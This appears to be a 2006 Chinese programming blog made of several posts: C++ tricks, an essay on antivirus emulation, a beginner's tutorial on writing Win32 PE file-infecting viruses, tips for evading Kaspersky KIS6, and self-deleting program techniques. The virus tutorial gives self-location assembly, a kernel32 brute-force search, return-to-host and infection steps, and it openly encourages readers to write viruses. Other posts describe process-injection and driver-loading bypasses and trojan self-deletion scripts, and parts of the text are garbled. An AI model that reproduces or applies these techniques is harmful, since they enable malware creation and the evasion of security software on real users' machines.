我们知道,C++类的私有函数是不能被外界访问的,比如说 main 函数里面,它绝对不能访问类的私有函数,除非把它设为类的友元函数。不过我们还是可以用一些比较奇怪的方法访问类的私有函数——当然,这个私有函数必须满足一个条件:它是虚函数。
这里就涉及到一个问题,指向虚函数的虚表放在哪里?对于 VS.Net 2003 而言,虚表是类的第一个成员,虚函数指针按照函数声明的顺序放在虚表里面。当然,这个说法并不严谨,更细节的东西还是去看看那本“***高钙奶粉”吧,它会给出最权威的解答。
这里是一个很有意思的例子:
#include iostream
#include cstddef
cla secret
private: virtual void say() { std::cout "Hello world!"; }
int main()
{ secret word; (reinterpret_castvoid (*)()(**(intptr_t**)(&am word)))(); return 0;
9. 最暴力的“Hello world!”
最暴力的调用函数的方法是:直接修改函数的返回地址,让这个地址指向我们想要调用的函数。这也就是缓冲区溢出漏洞的应用方法了,不过里面还涉及到很多问题,在这里就不一一列举,想要了解的话,还是去 Google 吧。这里只演示一个可以在 VS.Net 2003 下可以用的“Hello world!”。
#include < tdio.h
#include < tdlib.h
#include < tddef.h
void say()
{ puts("Hello world!"); exit(0);
int main()
{ volatile intptr_t a = 0; volatile intptr_t * p = *(p + 2) = (intptr_t)say; *(p + 3) = (intptr_t)say; return 0;
10. 外星人说的“Hello world!”
好了,这个“Hello world!”是最匪夷所思的一个了!不过它并没有涉及任何复杂的C/C++语言特性,只是看起来有点酷。你能看懂外星人在说什么不?
#include < tdio.h
void alien_say(char * p)
{ while (putchar(*(p += *(p + 1) - *p)));
int main()
{ return alien_say("BETHO! Altec oh liryom(a loadjudas!) dowd."), 0;
posted @ 2006-12-17 11:53 U2U 阅读(87) | 评论(2) | 虚拟机技术并不是一项全新的技术。我们经常遇到的虚拟机有很多。比如象GWBasic这样的解释器、Microsoft
Word的WordBasic宏解释器、J***A虚拟机等等。 虚拟机的应用场合很多,它的主要作用是能够运行一定规则的描述
语言。
我们说“虚拟”二字,有着两方面的含义:其一在于运行一定规则的描述语言的机器并不一定是一台真实地以
该语言为机器代码的计算机,比如J***A想做到跨平台兼容,那么每一种支持J***A运行的计算机都要运行一个解释环
境,这就是J***A虚拟机;另一个含义是运行对应规则描述语言的机器并不是该描述语言的原设计机器,这种情况也
称为仿真环境。比如Windows的MS-DOS Prompt就是工作在V86 方式的一个虚拟机,虽然在V86方式,实x86指令的执
行和在实地址方式非常相似,但是Windows为MS-DOS程序提供了仿真的 ( 相对于物理1M以下内存是虚假的) 内存空
跨越计算机平台?虚拟机也有很多,比较典型的是在很多Unix下运行MS-DOS或Windows程序的仿真器。在一台非
WinTel计算机上运行 MS-DOS应用程序,首先需要对MS-DOS应用程序所使用的x86指令进行解释执行,并要提供完整
的仿真MS-DOS中断、功能调用和绝大多数BIOS调用,并要解决MS-DOS 环境所使用的内存特点。 根据仿真的彻底程
度不同,所获得的兼容性也是不同的。 如果要仿真 MS-Windows 程序的运行环境,除了上述工作以外,基本上要
完整地再做一份完全兼容的 Windows API,并且会遇到DDE、OLE、DirectX 等类似的令人头疼的兼容性问题。同时,
仿真运行的程序必定是以比宿主计算机慢得多的速度来运行的。
因此,我们大致可以看到一个比较完整的虚拟机需要在很多的层次上做仿真,总的来说是分为“描述仿真”和
“环境仿真”两大块。最简单的仿真环境几乎不能算是虚拟机:比如为了运行使用磁盘加密而制作的钥匙盘仿真驻
留程序,它仅仅做一些诸如修改Int13这样的小手段,而不(必)包括指令执行的“描述仿真”;而象 Sourcer 这样
的反汇编工具则是更注重指令解释, 而不必关心程序的运行结果,因此在环境仿真上所做的工作要少得多。完整、
复杂的虚拟机是几乎没有尽头的,假想我们要在一台Unix计算机上运行一个看VCD的Windows 95程序, 或是运行一
个使用8259中断、8237DMA的程序… #8230;, 有些仿真在理论上是可以实现的,有些则很可能行不通。所以,一个实用
的虚拟机是根据需要和可能这两方面的因素来构造的,要权衡时间/空间复杂度、仿真兼容性、 运行性能和代价等
诸多因素,根据实际情况来设计和实现。
我们在谈论病毒之前,可以再回顾一下模式识别和人工智能中的一些颇有回味的问题。比如图象图形识别中,
区分一个汉字的描述是很清楚的,比如“三点水”右面加一个“又”字就是汉字的汉,但汉字识别却不能单纯使用
这样的直接标准;又比如对弈问题中,国际象棋的的输赢准则很清楚,简单地说就是老王被吃掉者为输、都吃不了
就和,同样,这个标准是一个易于描述和判断却不易实现的标准。
回头我们再来看病毒。前面大家都谈到了,病毒的最终判定准则是其复制传染性。但这个标准是不易被使用和
实现的。如果病毒已经传染了,才判定是它是病毒,必然会给病毒的清除带来麻烦 (正如看病确诊不能等病人咽气,
而要使用病症其他的特征一样); 而且很多病毒的传染是有条件的,不是说让它传染就传染的;即使是能够有效地
控制病毒的蔓延,如何判定它是感染了一个文件( 而不是一个程序对其他程序做正常的处理)也会有相当的难度(比
如多态编码病毒),而且判定另一个文件是否被感染病毒的问题,必然会陷入病毒判定的递归。
因此,复制传染性仅仅是作为病毒区分的最终概念和标准,而不是实用的检查病毒的通常手段。那么检查病毒
用什么方法呢?这就是大家所看到的形形***的反病毒软件所实用的手法。可谓八仙过海各显其能。与复制传染性
这个以概念出发的直接准则相比,实际使用的方法都是相对准则、间接方法,即相对易于实现、同时也相对不那么
准确的准则和方法。
客观地说,在各类病毒检查方法中,特征值方法是适用范围最宽、速度最快、最简单、最有效的方法 (比如我
认识你一般只要看脸听声,而不必看出生证明、血型乃至DNA 检验,如同***毙之前的验明正身) 。具体怎样提取特
征使得准确率高、虚警和虚漏都比较少或可接受,就看各个反病毒研究者对病毒代码的理解、其自身水平等很多方
面了,其中还要包括很多技术和技巧。最原始的特征值方法就是字符串匹配,比如大家都知道的KVn00, 至多是将
无条件匹配变成加几个 ?? 的有条件匹配,当然还要再结合一些其他技巧。特征提取实际上也是一种信号处理的概
念与实现。理论和事实都证明字符串匹配方法对特征提取的方向性不明确,真正有用的信息遗漏得太多,而提取出
来的部分又有一些不带有病毒自身的特定信息。在技术上是一个比较失败的“特征提取”方法。当然,KVn00 作者
的文化水平、能力和精力等情况都决定了目前的现状。
有效的特征提取方法可以将特定的病毒信息浓缩在很短的几个字节以内。这对于目前上万种病毒的检查和确认
无疑是非常重要的。但是,通常的特征值方法对于未知病毒和多态编码病毒是无效的。多态编码病毒必须经过还原。
也就是某些软件所称的必须有那么一个“解密引擎”(至于是否货真价实是另外一个问题)。而对于未知病毒,没有
人工分析在先,而必须去寻求与病毒的直接准则更近而在实现程度上更“飘渺”的方法。
我们先从MS-DOS文件型病毒谈起。先说对于已知多态编码病毒,如果能够正确解析这个病毒在编码上的规律,
那么理论上是可以应付自如的,但是对于比较复杂的编码算法以及众多的多态编码病毒,如果没有相对统一的方法
来处理,那么势必要仔细研究每种病毒的编码。如果能够让病毒在控制下先行运行一段时间,让其自己还原,那么,
问题就会相对明了。可以说虚拟机是这种情况下的最佳选择。
一些类似***P这样的国外软件都使用了这一技术。通过构造虚拟x86计算机的寄存器表、指令对照表和虚拟内存,
能够让病毒体在监控下在虚拟机中运行一段时间。这一过程可以提取与“有可能被怀疑是”病毒或与病毒程序“相
似”的行为,比如截获中断、“可疑”的跳转等和普通计算机程序“不太一样”的地方。同时,编码病毒在运行过
程中完成自解码,还原成病毒体“原形”。病毒在自解码之后,还要再度结合原来的特征值方法,将已知病毒代码
特征库的先验知识应用到虚拟机的运行结果中,完成对一个特定已知病毒的判定。
前面说了,病毒特征值一般是适用于已知病毒的,它不是判定病毒的唯一方法。病毒在感染前后都会有其它表
象和结果,比如驻留病毒截取一些中断向量,尤其是Int21、Int13等比较“敏感”的中断、比如明显读操作 (如列
目录)时出现的写目录,这些表象或结果与特征值相比,是病毒的一些动态判据, 常被应用在另一类的反病毒工具
中,它们往往需要对PC环境做动态的监控。但是,单纯的截获向量只能是怀疑有病毒,在内存中确认有病毒一般要
结合特定病毒在内存中的特定的特点。一般不能单纯凭借风吹草动就判定病毒。目前的动态监控技术的致命弱点是
兼容性差。尤其在进入Window后,很多软(硬)件的表现将“不可意料”。
那么,究竟有多少因素就能够判定是一个新的未知病毒呢?如何在没有特征这一静态判据的条件下去根据动态
判据去判定病毒呢?最现实的***仍然是虚拟机。从理论上说,因为病毒在虚拟机中运行的每个步骤都是可控和可
观测的,因此,只要判据充分,就首先可以判断是一个新的病毒。
首先的工作是对病毒代码做解释执行。一个有一些汇编语言基本功、能力稍强一些的程序员通过艰苦的劳动是
完全有可能胜任这一过程的。但这个工作的彻底程度如何,决定了这个虚拟机的基本性能。除了处理每种 x86指令
在各种寻址上的差异外,如果要叫真,那么286指令、386指令、x87指令、 保护模式指令、MMX 指令也应该在仿真
的范围之内,因为任何一条虚拟机不认识的指令都会另虚拟机“当机”。并且保不准那个病毒就运行了一条这种怪
指令 (当然,目前还很罕见)。
第二个考验是仿真一部分MS-DOS和BIOS调用。其中包括重要的内存分配、文件处理。磁盘操作等关键环节。仿
真的目的不仅仅是识别这些调用,而且是仿真获得这些调用及指令运行的结果及其连带结果。
第三个考验是PC环境、BIOS环境、MS-DOS环境及扩充的PC环境。比如重要的BIOS和MS-DOS数据区、MS-DOS的内
存管理链、UMB甚至Himem、Emm386这样的程序所带来的XMS、EMS、DPMI等等管理协议。尽管这有些偏门,但已经发
现有病毒通过DPMI来实现一些特定的功能。
尽管具体实现上困难重重,虚拟机仍然在反病毒软件中获得了极其成功的应用,并成为目前反病毒软件的一个
趋势,归结起来可能是由于下面的这些原因:
(1) 在处理加密编码病毒过程中,虚拟机是比较理想的处理方法;
(2) 在反病毒软件中引入虚拟机是由于综合分析了大多数已知病毒的共性,并基本可以认为在今后一段时间内
的病毒大多会沿袭这些共性;
(3) 虚拟机的确可以抓住一些病毒“经常使用的手段”和“常见的特点”,并以此来怀疑一个新的病毒;
(4) 目前“临床”应用的虚拟机并不是“高大全”的完整仿真环境,而是相对比较简单的、易于实现的版本。
(但各个反病毒厂商如果进行新一轮吹嘘,可能又没有边际了。)
(5)虚拟机技术仍然与传统技术相结合,并没有抛弃已知病毒的特征知识库。
到目前为止,即便我们经受了上述艰难的考验,完成了一个比较完整的虚拟机,能够让绝大多数病毒“运行”
而不“死机”,仍然还没有述及关于病毒标准的问题。如果最终以传染性来判定病毒的产生,并且,不仅能够识别
新的未知病毒而且能够清除这个病毒,我们会发现这个反病毒工具不再是一个程序,而成为可以和卡斯帕罗夫抗衡
的IBM深蓝超级计算机。
首先,虚拟机必须提供足够的虚拟,以完成或将近完成病毒的“虚拟传染”。如何获得这个兼容性目前还没有
人专门探讨。
第二,在判定病毒的标准上, 仍然会有问题。 尽管根据病毒定义而确立的“传染”标准是明确的,但是,这
个标准假如能够实施却是模糊的。一是,我们要仿真传染条件,对于那些条件感染病毒,怎样制造传播条件?如系
统日期、感染对象的文件名等等,二是这个分析是通过动态执行(甚至回朔)分支屡试呢,还是通过反回头进行静态
的指令过程分析?
第三,假如上一步能够通过,那么,我们必须检测并确认所谓“感染”的文件确实感染的就是这个病毒或其变
当然,如果能够具有这样的超级计算,并实现上述过程,那么,杀掉未知病毒也许是可能的。比如前面宝宝P_
ost上来的getexe这样的脱壳程序,似乎就有那么一点动态杀毒的影子了,但实际实现还差着很遥远很遥远… #8230;
可以说,最后这个软件到底是怎样一个“专家”,和这个虚拟机的构造是密切相关的。即便扣除上面讨论中貌
似叫真抬杠的地方,这个工作量对于一、两个人,几乎是不收敛的!当然,说道这里,我并不是否定虚拟机的作用,
而是肯定了虚拟机在反病毒软件中的特 夤毕住 虚拟机的引入使得反病毒软件件从单纯的静态分析进入了动态和静
态分析相结合的境界,在一个阶段里面,极大地提高了已知病毒和未知病毒的检测水平,以相对比较少的代价获得
了可观的突破。在今后相当长的一段时间内,虚拟机在合理的完整性、技术技巧等方面都会有相当的进展。目前国
际上公认的、并已经实现的虚拟机技术在未知病毒的判定上能够达到 80% 左右的准确率,这已经是相当的成就了。
获得这个结果也经过了几年的时间。
目前虚拟机的处理对象主要是文件型病毒。对于引导型病毒、Word/Excel宏病毒、木马程序在理论上都是可以
通过虚拟机来处理的,但目前的实现水平还相距甚远。道高一尺、魔高一丈。就象病毒编码变形使得传统特征值方
法失效一样,针对虚拟机的新病毒可以轻易使得虚拟机失效。简单的比喻,让一个虚拟机失效只需一条特殊的指令,
或特殊的中断、甚至逆指令流… #8230;。
虚拟机是作为对过去已知病毒的统计分析而出现、并合理地存在的。随着新病毒的发展,虚拟机因此也会在实
践中不断得到发展。但是,PC的计算能力是有限的,反病毒软件的制造成本也是有限的,而病毒的发展可以说是无
限的。让虚拟技术获得更加实际的功效,甚至要以此为基础来清除未知病毒,其难度相当之大。当然这不影响我们
在这里借此论坛讨论与这个技术相关的问题。作为一个学生,kav 能对反病毒技术和市场做如此深入的调研,实令
人钦佩。
反病毒新技术的构思、实现与应用最终会归结在不仅是技术,而且还包括资金、知识、合作、市场、体制、心
理等等太多的因素,正如前面dock所说,似乎仍将不可避免地归结为我们民族软件业的一个悲剧。这是我们无法回
避的一个社会现实。当然,通过适当的学习、借鉴,尽可能地接近目前的反病毒国际先进水平,也许还是有一线曙
光的。但愿中国反病毒行业依*吹嘘和欺骗的日子早日过去… #8230;
posted @ 2006-12-17 11:13 U2U 阅读(264) | 评论(0) | 免责声明:
如果有人因为看了本文而写出任何恶性病毒进而对社会造成任何危害,一切后果与本人无关。本人只是讨论一些理论知识而已。如果你对病毒不感兴趣甚至讨厌病毒,请立刻离开这里,也不要妄加评论。
写本文的目的:
1,像普及性知识那样普及病毒知识,即使是老处男(说我呢?郁闷中)老处女也要懂性知识,所以爱好编程的也最好懂一些病毒的编写原理。
(为何总拿性知识做比喻?因为中国人对性知识都很有兴趣,但对之讳莫如深,不敢或者不好意思明说,而程序员一般也对病毒知识很有兴趣,也不敢或者不好意思明说。所以从社会的角度讲,性知识和病毒知识很相似)
2,发扬中国的病毒事业。为什么要发扬?去看我的其它文章。(但不要猜测我是***er,我只是一个做苦力的普通编码程序员。)
本文面向的读者:
1,熟悉Win32汇编。不懂汇编只懂VB?没错,VB也可以写出“病毒”,但那是不是太惨了点?
2,熟悉PE结构。faint!如果连PE文件结构都不知道,还去感染谁啊。
3,对病毒有“严重”的热爱,至少也不要讨厌。由于本文含有可能招致PC用户不满的成分,所以如果你不喜欢病毒,请快快离去。
4,如果你是个病毒高手,不要笑本文的肤浅,这本来就是入门文章,希望籍此能出现一大批中国人写的病毒。
5,这是最基本的病毒编写入门技术,如果你真的是高手(你真的是高手?你怎么会真的是高手???:)),可以不用看了。
本文是我的另一篇文章《Win32 PE病毒入门教程》的姊妹作,那篇文章出来以后,大家普遍认为不够入门,难以把握,所以就有了这篇更入门的文章。
第一篇:工欲善其事,必先利其器--工具篇
因为本文只讨论用汇编语言编写病毒,所以只介绍一些汇编的编程和调试工具。
一,TASM 5.0
一般病毒作者都比较喜欢用TASM(也是我的最爱),用MASM和NASM的很少,主要是因为TASM可以更灵活,让人更加自由地发挥。这里所指的,是***的TASM,包括TASM32,TLINK32,TD32,BRC等等。
这些都是命令行工具,需要在DOS窗下运行。
具体命令行参数可以看帮助,要注意在tasm32中加上/m7和/ml开关,前者让tasm多趟扫描,可以产生更优化的代码,后者是大小写敏感开关,是Win32汇编需要的。而tlink32则用/Tpe产生PE格式的文件,/aa产生windows程序。
我的习惯,是把tasm32和tlink32放在一个批处理里,这样不必总敲繁琐的命令行。
二,VC
你可能会奇怪,写汇编干嘛要用VC?呵呵,这里是把VC当作一个调试器来用。在调试Win32程序的时候,VC要比TD好用些。你可以试试,对于一般的Win32程序(包括病毒),甚至不用SoftIce都可以顺利地很容易地调试。
三,SoftIce
调试利器,在写某些类型的病毒的时候离开它真的不行。尤其是写和Windows核心相关的病毒,ring3调试器根本不行了,即使你的病毒还是运行在ring3上。
四,PE格式查看工具
这是写PE病毒必须的,你需要经常查看PE文件的格式。
我新写了个PEViewer,BCB写的,好大,但好有用,还在改进中。
TASM里有一个tdump,命令行的,也不错,不过用起来比较麻烦。
五,UltraEdit
你可以用任何文本编辑器(notepad,word)来编辑汇编代码,但我的最爱是UltraEdit。
以上这些工具,缺少哪个都会让我不爽。用这些工具,足可以写出任何病毒了。你认为呢?
第二篇:开始病毒地狱之旅--编码入门篇
一,定位
一个病毒不知道自己会感染host程序什么地方,所以也就不知道自己的地址,也就不能去引用内存变领。所以一般一个病毒一上来就是给自己定位。
call GetVirAddr
GetVirAddr:
pop e 现在e 指向GetVirAddr了,要想把变量Var1送入eax,则
mov eax,[e +Var1-GetVirAddr]
就可以了。
很多病毒(如Funlove),把上面的定位写成一个单独的sub routine,然后通过减法使e 总是指向某一个固定位置。这种方式写起来容易,不必总要定位,但不利于优化代码。
二,获取Kernel32的API
这也是Win32病毒必须做的,因为它要用到API,没有API地址它什么都做不了。
但病毒不能有import table,所以一般的方法是暴力搜索内存空间。
这在我的另外一篇文章《Win32 PE病毒入门教程》里讲得很详细了,故摘抄过来,但改了一点小错误。
注意,这种方法需要你对PE格式非常熟悉。
”病毒无import table,而且现在已经不时髦去攫取host程序的import table了。
现在通用的技术是从4G的地址空间中暴力搜***ernel32的基地址,然后从Kernel32的export table中找到所需要的API的地址。一旦有了Kernel32的API,想导入其它DLL的API也就容易了,至少可以用LoadLibraryA和 GetProcAddre (呵呵,好基本的方法)。
首先要确定Kernel32的基地址。
这个地址在98,2K,XP下都不同。注意,一个好的病毒不能过分依赖某个OS的特性,所以我们不能在病毒体内写个死的77E80000。所以我们要搜出来。一般一个程序执行时,Kernel32都被映射到它的地址空间了,这就是我们为什么可以搜索它的地址的原因。
看看三个OS的基地址,98为BFF70000,2K为77E80000,XP为77E60000,Ok,都在70000000以上,我们可以就从这里开始。当然如果一个一个字节搜索,那么也太慢了,一般DLL定位都在1M边界,所以我们可以以10000为跨度。
还有一个问题,4G空间不全是可读的,搜到某个地方就会出现GPE错误。怎么办?hmmmmmmmmmmmm,M$已经想到了这点,在Win32里提供了一种叫做SEH的技术,可以让你掐死出现的错误,使你的程序继续执行而不崩溃。具体SEH在汇编中的写法,只要几条指令,大家可以自己去找些病毒看一下就知道了。
注意到PE文件和内存中的映像很相似,所以我们就可以按下面这个方式来搜***ernel32
ebx-current addre ,now is 70000000h
Set SEH frame
ebx = ebx + 10000h
if ebx == 0 then 郁闷中。没找到Kernel32???是崩溃还是返回host随你了,我无话可说。
word ptr [ebx] == 'ZM' ?no,goto #1
eax = [ebx + 3ch] ;另外一篇文章中的这两行写的特别别扭,很像C语言,现在改得更”汇编“些
eax = ebx + eax
word ptr [eax] =='EP' ?no,goto #1 ;另外一篇文章中的这行有错误,把eax写成了ebx,现在改过来了,看来”狂饮啤酒“和”没喝啤酒“效果真的不一样*^__^*
now we are sure this is a PE image,let's look up whether it's a dll,if not,goto #1
then check the export dll name ,if it's not 'KERNEL32.DLL',goto #1
Now go into it's export table,get the APIs addre which we use to start our smart work,hahahaha.
Remove SEH frame
SEH handler:
resume to #1
具体细节问题,大家自己去研究。目前大多数Win32病毒都是这个过程,当然具体实现方法会有不同。“
找到Kernel32的API以后,就可以导入其它dll中要用到的API了。
注意,把API地址存在一个数组里,然后用下面方法调用(过分初级了:()
push large param_n
push large param_1
call [e +Func-GetVirAddr]
注意,所有的Win32 API都是从右至左压栈的。
三,返回host程序
做完初始化的工作后,要尽快返回host程序,否则容易被发现。
但病毒还要继续运行,所以一般都是分配一块内存(VirtualAlloc),把自己copy进去,用CreateThread在那里启动一个线程,然后就可以返回host了。
push large hostentry ;here will be filled when infecting
mov eax,hostentry
jmp eax
等等,等等。
hostentry存放的是感染时原程序的entry point。
四,感染
感染是一个病毒的生存的根本,没有感染就没有生存,感染是病毒的面包。
一般Win32病毒,难以hook系统API(有一些变通的方法,但不属于入门了),所以只能*反复搜索硬盘文件的方式来进行感染。 FindFirstFile,FindNextFile,FindClose,这三个API就可以完成所有的搜索任务。但搜索要掌握好时间,太快会让硬盘无故狂转,容易被用户发现,太慢又实在无法大量感染文件,所以要掌握火候,这就凭经验了。
找到一个文件后,感染之,大家应该学会用File ma ing API,这样可以快速地对文件进行操作。具体感染方法,各种各样,具体可自行研究或参考其它病毒。
第三篇:咬文嚼字--名词解释篇
1,VXer--Virus maker,病毒作者,很多人羡慕并想加入的群体。
2,***er--Anti-virus maker(或者叫Anti-viruser?),反病毒者。他们和VXer既是敌人又是朋友,没有VXer他们也就没了饭碗。***er是阳光下的VXer,VXer是地下活动的***er。
3,PE--Portable Executable,Win32可执行文件的标准格式。
4,Encryption--加密,病毒变形的基础技术。
5,Polymorphism--变形,有一个变化的解密头,但病毒主体解密以后还是固定的
6,Metamorphism--不知道中文是什么。和变形相对,我翻译成”变态“。因为它能把整个病毒体都给变化了,一个普通的metamorphism引擎也要好几十K,其中包括很完整的反汇编引擎,真够变态的了。”变态“不是贬义,是佩服写这些引擎的人的耐心。
第四篇:苦口婆心,老生常谈--建议篇
一,怎样学习Win32汇编?
有的毒友看了我的文章后,开始钻研起Iczelion的很经典的Win32汇编教程。我明确告诉他们,那是浪费时间。那个教程之所以不适合用来学习写病毒,是因为,1,Iczelion是MASM的支持者,代码中大量用.IF .WHILE之类的伪汇编,结果和C语言差不多,但还不如直接用C,而且也无法控制汇编器产生什么样的代码,这也是我不喜欢MASM的主要原因之一。依* 工具产生的代码,肯定没有自己手写的好。2,他讲的主要是一般的Windows程序设计,和C语言设计Windows程序没什么区别,一个病毒一般并不需要窗口和消息。
要想学好Win32汇编,首先要学好32位汇编,然后了解Windows的底层机制。
二,哪个病毒是最好的范例?
Funlove,最好的入门级示范代码。它是我所见过的病毒中写的最工整,最”模块化“也最容易读懂和理解的PE病毒(也正因为这样,它的代码才显得比较大)。去看看它的源代码吧,欣赏研究一下,一定会大有收获。不过建议初学者把它的NT patch部分跳过去,那部分涉及NT的安全机制,不太适合初学者。还应注意一点就是它的代码很像标准的汇编写的应用程序,这不太符合病毒的代码优化精神。另外它不是用暴力搜***ernel32的,而是用了几个固定的Kernel32 base addre ,只支持9X/2K/NT,估计它不能在XP下运行,但我没试验过。它对ntoskrnl.exe进行patch的部分很简单,只要反汇编一下ntoskrnl.exe就可以看出来,但它patch ntldr的部分则比较高明,尤其是在1999年那样古老的年代。有谁对ntldr有研究,可以切磋一下。
不过病毒技术千变万化,每个病毒都有自己的特色,单独研究一个病毒是不能窥全貌的。
三,学病毒应该看哪些书?
没有任何印刷品可以看。全仗你平时的积累,对汇编的,对Win32底层的积累。
四,这篇文章还不够入门耶
病毒编写是技术活,你不能够指望任何人能教你写出真正的病毒。病毒是要*自己的努力钻研,天下没有白吃的馅饼。我这篇文章只是给大家一个入门的思路和方向,具体很多技术细节,还要*自己去发掘。但病毒编写不是天才的专利,任何人只要努力都可以写出病毒。
五,学习病毒编写应该具备哪些基本知识?
我这些文章不能真的传授你所有的病毒编写知识,还要*你自己的修行。
大概要掌握一下基本知识。
1,Win32汇编,必备知识。
2,熟悉病毒常用的API调用,如文件API,注册表API,内存API等等。
3,熟悉系统底层的机理,如线程,内存管理,进程等等。
4,掌握PE格式。不必全掌握,但一定要熟悉它的header和section table及import table和export table部分。
5,做人的道理,这样才不会贻害四方。这是最重要的。如果你连这点都没有,奉劝你不要玩病毒!
六,问:我写出来病毒应该如何处理
答:把源代码发给我,切磋切磋^_^。
第五篇:我们要做大好人--社会责任篇
我写这些病毒教学文章,真的很希望多出些好的我们中国人自己写的病毒。但,写病毒和传播病毒甚至用病毒进行破坏不同。写病毒玩的是技术,利用病毒进行破坏则是在玩社会。虽然社会被玩了可能还不知道是被谁玩的,但大家要对得起自己的良心,不要拿病毒去害人。而且目前的流行的病毒大都呈良性发展趋势,如 Funlove,SirCam,Nimda和号称史上最流行的Klez.h(Klez以前的版本比较恶毒,但不是很流行)都没有刻意的破坏性。破坏显示不出你的功力,任何人都可以很容易写出覆盖所有文件的代码。我们玩病毒,是玩一些好玩或者新的或者高明的技术,而不是既低级又让人讨厌的技术。
2002年6月6日晚9时,Koms Bomb,没喝啤酒,痛苦中
欢迎转载,请保留“ y Koms Bom #8221;
我的联系方式和感言:
一般我很少在网上留我的mail地址,倒不是我害怕病毒,而是实在讨厌 ammer。
如果大家要和我联系,请去我新开的个人BBS(http://kom omb.myforum.net/)给我留言,我一定会看到的。或者请去我在驱动开发论坛主持的病毒版(http://www.driverdevelop.com/forum/html_forum_50.html? 1022586707)找我,我不是在做广告,而是只有在那里才会比较容易地找到我。
欢迎大家来和我切磋病毒技术。
如果大家想在病毒和反病毒方面与我有合作,请和我联系。
若有人愿意创建顶级域名(最好独立主机)的病毒方面的网站,我们可以合作。
我在持续郁闷中,不知道自己应该做什么工作,也不知道自己应该向什么方向发展。我不想做profe ional VXer,没人会给VXer发工资。因为郁闷,很多时候,我都变得麻木,无法安心研究技术。这大概是中国程序员的悲哀,在研究技术的时候还要为生计奔波。也因为郁闷,所以才有了这些文章的诞生。
posted @ 2006-12-17 11:12 U2U 阅读(1773) | 评论(1) | 2006年 5月15日,著名的反病毒安全软件厂商Ka erskyLab发布了划时代的安全软件套装Ka ersky Internet Security 6(简称KIS6)以及 Ka ersky A
ntiVirus 6.0(简称K***6)。KIS6/K***6比卡罢以前的产品有了质的提高。KIS6包含了文件防毒、邮件防毒、网页防毒、事前防卫(包括进程行为监控,监视各类代码注入、***全局钩子、加载驱动/服务等行为;文件完整性检查;检查各类运用RK技术的文件/进程/端口/注册表隐藏;Office宏保护等);反
、防火墙、反垃圾邮件等功能。K***6比KIS6缺少了防火墙模块。
整体来说,KIS6非常强大。 Руткит 讨论组里,我们一致公认KIS6是目前最强的个人类安***装。卡巴实验室里的确实都是精英,实力雄厚,许多东西都运用的Undocumented技术,导致我上一版本的WinDbg一进入内核调试状态就崩溃。KIS6的注册表监控的非常全:NoWinodw
lMemory 对象进Ring0等;监控全局钩子的***;文件完整性检查;反Rootkit,检测隐藏文件隐藏进程隐藏端口隐藏注册表;值的一提的是涂改 P IdTable方法隐藏进程的方法KIS6也能查。另外KIS6的防火墙的控管规则也比较细,不像国内的个人防火墙是以进程为最小控管单位, KIS6如国外的其他一些防火墙把控制策略细化到具体进程的某个端口,比如默认情况下只允许E
lorer.exe访问HTTP80端口,而不是完全允许Explorer.exe进程访问网络。
夸KIS6夸完了,现在来说说他的弱点:关于KIS6监控采用远程线程代码注入的行为时,他只对注入
等进程有反映,而他防火墙默认的控管规则里却允许Svchost等进程访问HTTP等端口,那木马程序只要用远程线程的方法注入svchost等进程,就能完完全全逃过卡巴了。
再来看在KIS6下怎样实现自启动。KIS6监控注册表确实监控得很全,而且还监控服务之类的,初看你在自启动方面是无处下手。不过可爱的卡巴斯基又犯了让我悲哀的低级错误,开始菜单里的启动文件夹他竟然没监控。免得被人说这样做太猥琐,那就再说个方法,因为可爱的卡巴在监控远程线程代码注入时只IE等进程进行提示,从而我们可以注入Winlogon,注入Winlogon后我们就可以Defeat SFP,然后感染文件实现自启动,虽然卡巴有文件完整性检查,不过问题不大,你自己试了就明白为什么了,呵呵。
再说点底层的,KIS6监控加载驱动监控得不全,嘿嘿,使用ZwSetSystemInformation我们照样可以加载驱动了,能加载驱动了天下还不是我们的了? 恢复S
T表呀,DKOM,Miniport NDIS Hook,任我们玩了。
vxk的补充:
除了XYZREG说的几个地方,卡巴斯基在面对BOOT.INI+NTOSKRNL.EXE改写大法(这个方法很无耻),还有HOTPATCH(几乎通吃FireWall)大法时都很脆弱啊!
hotPatch能够动态的改写某些dll的,比如kernel32.dll,我就不多说了。你在kernel32.dll里做一个code injection然后在适当的进程内部加载我们的DLL,好了,一切搞定。
posted @ 2006-12-17 11:11 U2U 阅读(88) | 评论(0) | 程序的自删除已经不是什么新鲜的话题了,它广泛运用于木马、病毒中。试想想,当你的程序还在运行中(通常是完成了驻留、感染模块),它就自动地把自己从磁盘中删掉,这样一来,就做到了神不知鬼不觉,呵呵,是不是很cool呢?
自删除(Self Deleting)最早的方法是由 Gary Ne ett 大虾写的,太经典了,不能不提。程序如下:
试试编译它,运行。怎么样?从你的眼皮底下消失了吧?是不是很神奇?
Gary Ne ett 钻了系统的一个漏洞,他的程序是关闭了 exe 文件的 IMAGE(硬编码为4),然后用 UnmapViewOfFile 解除了 exe 文件在内存中的映象,接着通过堆栈传递当前程序的路径名缓冲区指针给 DeleteFile() ,实现了程序的自删除。
Gary Ne ett 果然不愧为 WIN 系统下顶尖的底层高手。那么是否还有其他的方法实现程序的自删除呢?***是肯定的。
在 Win9x/ME 下,还可以利用 WININIT.INI 的一些特性。在 WININIT.INI 文件里面有一个节 [Rename] ,只要在里面写入要 “Nul=要删除的文件”,那么下次系统重新启动的时候,该文件就会被自动删除了。以下是一个例子:
[Rename]
NUL=c:\SelfDelete.exe
利用这个特性,我们就可以在程序中对这个 ini 文件进行操作。值得注意的是,当需要自删除的文件多于一个的时候,就不能使用 WritePrivateProfileString 来实现,因为这个 API 会阻止多于一个“NUL=”这样的入口在同一个节里面出现,所以最好还是自己手动实现。
第三种方法是利用批处理文件。先让我们做一个试验:
创建一个 a.bat ,给它写入以下内容:
del %0.bat
现在运行它吧,屏幕一闪而过,最后留下一串字符:“The batch file ca ot be found”。这时候它已经从你的硬盘中消失了。
这说明,批处理文件是可以删除自己的,于是我们可以把这个小技巧运用在自己的程序当中:
:Repeat
del "C:\MYDIR\SelfDelete.exe"
if exist "SelfDelete.exe" goto Repeat
rmdir "C:\MYDIR"
del "\DelUS.bat"
它会重复不断地搜索是否有 SelfDelete.exe 这个文件,直到删除了它为止;当删除完毕后,这个批处理文件就会把自己删除。
(注:本方法可以支持所有的 Windows 版本,即 Win9x/Me/NT/2000/XP)
用批处理文件的方法有一个缺陷,就是会突然弹出一个 DOS 窗,冷不防的吓人一跳,不过据我所知这是目前唯一可以在 WinXP 下起作用的方法。当然,最理想的方法是用 Gary Ne ett 的那种,不过它的缺陷是没法在 WinXP 下起作用。
